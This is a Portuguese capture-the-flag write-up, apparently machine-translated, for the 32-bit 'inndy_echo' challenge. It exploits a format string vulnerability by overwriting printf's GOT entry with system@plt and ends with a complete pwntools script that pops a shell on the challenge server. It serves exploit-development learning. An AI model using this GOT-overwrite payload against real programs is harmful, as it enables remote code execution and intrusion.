inndy_echo
degrau
-
Inspeção de rotina, programa de 32 bits, proteção nx ativada
-
Tente uma execução de teste local para ver a situação geral. Eu vi que existem vulnerabilidades de string de formato e quais podem ser inseridas o tempo todo.
-
O ida de 32 bits foi carregado e
vi que havia uma vulnerabilidade de formato de string no programa e uma função do sistema. Pensei em alterar printf @ got para system @ plt. Como o sistema não foi executado no início, o endereço em a tabela obtida estava incorreta. Você deve usar a tabela plt interna. Em seguida, passe bin / sh -
pwntools integra uma ferramenta poderosa através da qual podemos modificar rapidamente o valor correspondente.
Formato do comando:fmtstr_payload(argue_place, {printf_got_addr: system_plt_addr})
Argue_place representa a posição do parâmetro dos primeiros quatro caracteres na carga útil (isto é, o valor de p em% p $ n, nós o chamamos de deslocamento ) -
Depois de esclarecer a ideia, primeiro determine o deslocamento, determine o deslocamento é 7,
para que você possa usar diretamente fmtstr_payload (7, {print_got: system_plt}) para concluir a modificação e, em seguida, passe o parâmetro '/ bin / sh'
Exp total
from pwn import *
r=remote('node3.buuoj.cn',27843)
elf=ELF('./echo')
printf_got=elf.got['printf']
system_plt=elf.plt['system']
payload=fmtstr_payload(7,{
printf_got:system_plt})
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()